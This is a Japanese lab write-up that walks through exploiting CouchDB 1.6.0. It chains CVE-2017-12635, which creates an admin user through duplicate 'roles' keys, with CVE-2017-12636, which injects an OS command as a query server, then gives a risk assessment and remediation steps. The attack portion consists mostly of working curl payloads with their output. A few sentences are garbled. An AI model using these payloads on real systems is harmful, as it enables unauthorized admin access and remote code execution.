
Apache CouchDB 1.6.0 に対する CVE-2017-12635(権限昇格)と CVE-2017-12636(リモートコード実行)の悪用を実証するステップバイステップのラボ。リスク評価と修復ガイダンス付き。
環境内で何が実行されているかを確認することから始める。実行中の全コンテナをリストアップする:
docker ps

被害者は単一のポート 5984 を公開している
⇒ 詳細情報を調査するために直接 curl でプローブする:
curl -i http://192.168.3.137:5984/

レスポンスの分析:
レスポンス:HTTP/1.1 200 OK。ポート 5984 のサービスがアクティブであり、HTTP経由で直接アクセスできることを証明している。
サーバーヘッダー: と、 を含む により、これが であることが確認できる。
CouchDB/1.6.0 (Erlang OTP/17)"version":"1.6.0"攻撃対象領域の評価:
CouchDB サービスはポート 5984 を介して外部に公開されている。これは CouchDB HTTP API のデフォルトポートであり、REST API を通じたデータベース操作を可能にする。
バージョン CouchDB 1.6.0 は 1.7.1 パッチより前の古いバージョンである。Apache のドキュメントによると、この範囲の CouchDB バージョンは以下に影響を受ける:
roles キーの処理が不整合であるため。=> 考察:取得したレスポンスから、被害者がポート 5984 で Apache CouchDB 1.6.0 を実行していると判断するのに十分な証拠がある。これは CVE-2017-12635 と CVE-2017-12636 のエクスプロイトチェーンに関連する古いバージョンである。したがって、論理的なエクスプロイト経路は、まず認証状態をテストし、次に CouchDB HTTP API を介した特権昇格またはコマンド実行の可能性を評価することである。
CVE-2017-12635 は、CouchDB の2つの JSON パーサー間の不整合を悪用する。/_users に2つの重複した roles キーを持つユーザードキュメントを送信すると、CouchDB はドキュメントの書き込み権限のチェックに2番目の roles キーを使用するが、作成後のユーザーの実際の権限には1番目の roles キーを使用する。したがって、攻撃者は最初の roles を ["_admin"]、2番目の roles を [] に設定して検証チェックをバイパスし、作成されたユーザーが管理者権限を持つようにする。

CouchDB のドキュメントによると、CouchDB はユーザー情報を _users という特別なデータベースに保存し、各ユーザードキュメントには org.couchdb.user:<username> という形式の ID がある。hacker という名前のユーザーを作成する必要があるため、使用するエンドポイントは /_users/org.couchdb.user:hacker である。新しいユーザーを作成して管理者権限を割り当て、サーバーがどのように応答するかを確認する。
curl -X PUT http://192.168.3.137:5984/_users/org.couchdb.user:hacker \
-H "Content-Type: application/json" \
-d '{
"type": "user",
"name": "hacker",
"roles": ["_admin"],
"roles": [],
"password": "password123"
}'

返されたレスポンスは true であり、ユーザーが正常に作成されたことを証明している。新しく作成した admin 認証情報を使用して検証チェックを実行する:curl -u hacker:password123 http://192.168.3.137:5984/_users。/_users エンドポイントはシステムデータベースであり、デフォルトでは管理者のみがメタデータを読み取れる。通常ユーザー がリクエストすると → 403 Forbidden となる。完全な DB 情報を伴う 200 OK レスポンスは、hacker アカウントが実際に _admin 権限を持つことを確認する。これは Apache CouchDB 1.6.0 に対する CVE-2017-12635 の仮説と完全に一致する。
まとめ:
Apache CouchDB 1.6.0 に対する CVE-2017-12635 の検証に成功した。当初、ポート 5984 は CouchDB HTTP API が公開されていることのみを示していた。curl によるフィンガープリンティングの後、レスポンスはサービスが CouchDB 1.6.0、つまり CVE-2017-12635 の脆弱性範囲内のバージョンであることを確認した。
RCE が可能であると即座に結論付ける代わりに、まず認証フローを段階的に検証した。2つの重複した roles キーを持つユーザードキュメントを /_users に送信することで、ペイロードはユーザー hacker の作成に成功した。続いて、curl -u hacker:password123 による /_users へのリクエストは 200 OK とシステムデータベースの詳細情報を返し、ユーザー hacker が本当に _admin 権限を保持していることを証明した。
その結果、CouchDB の管理者権限を取得すると、管理者は HTTP API を介して CouchDB の設定を変更できるため、攻撃対象領域は CVE-2017-12636 に拡大する。これはサーバー上のリモートコード実行機能をさらに評価するための前提条件となる。
⇒ 考察: 新たに取得した管理者権限を使用して、OS レベルのコマンド実行をテストする。

Apache CouchDB ドキュメントによると、Query Server は CouchDB が design functions を処理するために使用する外部プロセスであり、MapReduce メカニズムにおけるJavaScript ビューなどが該当する。デザインドキュメントが "language" フィールドを宣言すると、CouchDB はこの値を使用して query_servers 設定内の対応するクエリサーバーを検索する。
デザインドキュメントに "language": "javascript" が含まれている場合、CouchDB は query_servers.javascript 設定を照会し、map/reduce 関数を処理するためにどのプロセスを起動するかを決定する。これは CouchDB の正当な設計であり、CouchDB コアはデータベースエンジン内のすべてのビューコードを直接実行しないためである。
⇒ 問題点 は CVE-2017-12636 において、CouchDB 管理者が HTTP API を介してサーバー設定を変更できることに存在する。これらの設定の一部には、CouchDB が起動する OS レベルのバイナリやプロセスへのパスが含まれる。したがって、CVE-2017-12635 で管理者権限を取得した後、攻撃者は query_servers.<language> を OS コマンド を指すように変更できる。対応する言語を使用するビューをトリガーすると、CouchDB はコマンドを起動し、サーバー上でのコマンド実行につながる。
エクスプロイトの流れ:
/_config エンドポイントを介して悪意のある設定を query_servers.cmd に書き込む。"language": "cmd" を持つデザインドキュメントを作成する。query_servers.cmd を検索し、設定されたプロセスを起動する。悪意のある query_server 設定の書き込み
任意の名前で 「クエリサーバー」 を登録し、その値を OS コマンドにする:
curl -X PUT http://hacker:[email protected]:5984/_config/query_servers/cmd \
-H "Content-Type: application/json" \
-d '"id 1>/tmp/pwned 2>&1"'
これは CouchDB プロセスによって起動される OS コマンドである。
実行のトリガー — データベースとドキュメントの作成
# Create test database
curl -X PUT http://hacker:[email protected]:5984/rcetest
# Create design document with view using language "cmd"
curl -X PUT http://hacker:[email protected]:5984/rcetest/_design/rce \
-H "Content-Type: application/json" \
-d '{
"language": "cmd",
"views": {
"myview": {
"map": "function(doc){}"
}
}
}'
# Trigger view → CouchDB spawns query server "cmd" → executes OS command
curl http://hacker:[email protected]:5984/rcetest/_design/rce/_view/myview
実行フロー:
View query → [HTTP PUT Config] -> [Inject OS command as mock query language]
→ [HTTP PUT Design Doc] -> [Assign handling attribute to the mock query language]
→ [HTTP GET View] -> [Force CouchDB config lookup -> Spawn subprocess executing command]
→ [Read /tmp/pwned] -> [Confirm successful execution privilege (RCE)]
RCE の検証:
docker exec project1-lab07-1 cat /tmp/pwned

考察: この RCE 攻撃は、コマンドの出力が HTTP レスポンスに直接返されないため、ブラインド/非同期である。したがって、コマンドが実行されたことを証明するために、id コマンドの出力を /tmp/pwned ファイルに書き込む副作用を生成するペイロードを使用した。コンテナ内の /tmp/pwned ファイルを読み取り、出力 uid=1000(couchdb) gid=999(couchdb) を確認することで、CouchDB が couchdb ユーザーの権限でOS コマンドを正常に実行したと結論付けることができる。
結果 uid=1000(couchdb) は、コマンドが root 権限ではなく、CouchDB プロセスの権限で実行されたことを示している。それでもこれは、CVE-2017-12636 がサービス権限の範囲内でリモートコード実行につながることを証明するのに十分である。
システム上の JSON パーサーの不整合(CVE-2017-12635)の脆弱性と Query Server インジェクション(CVE-2017-12636)の組み合わせは、最高リスクレベルと評価される:
| 評価基準 | 評価 | 詳細 |
|---|---|---|
| CVSSスコア | 9.8(重大) | ほぼ最大値で、悪用には単一の HTTP リクエストのみが必要。 |
| 認証(Auth) | 不要 | 攻撃者はアカウントやログインを必要としない。CVE-2017-12635 によりリモートでの管理者アカウント作成が可能。 |
| 複雑性 | 非常に低い | 重複した "roles" キーを含む JSON ペイロードを /_users エンドポイントに送信する単一の HTTP PUT リクエストを送信するだけ。 |
| 取得権限 | couchdb (uid=1000) | CouchDB を実行しているユーザーの権限で OS コマンドを起動し、システムファイルの読み書きと全データベースへのアクセスが可能。 |
| ラテラルムーブメント | 高い | 侵害されたコンテナから、攻撃者は内部スキャン(LAN)を実行し、同じ Docker ネットワーク内の他のコンテナやホストマシンを標的にできる。 |
これらの脆弱性を完全に軽減するために、システム管理チームは以下の対策を(優先順位順に)実装する必要がある:
local.ini 設定ファイルで require_valid_user = true を設定し、すべての匿名 API アクセスをブロックする。CouchDB を「Admin Party」モード(管理者が存在せず、全員が管理者となるモード)で実行してはならない。127.0.0.1 に厳密にバインドする。local.ini ファイルの config_whitelist を使用して、API 経由で変更できる設定キーを制限し、攻撃者が /_config/query_servers エンドポイントを悪用して OS コマンドを注入するのを防ぐ。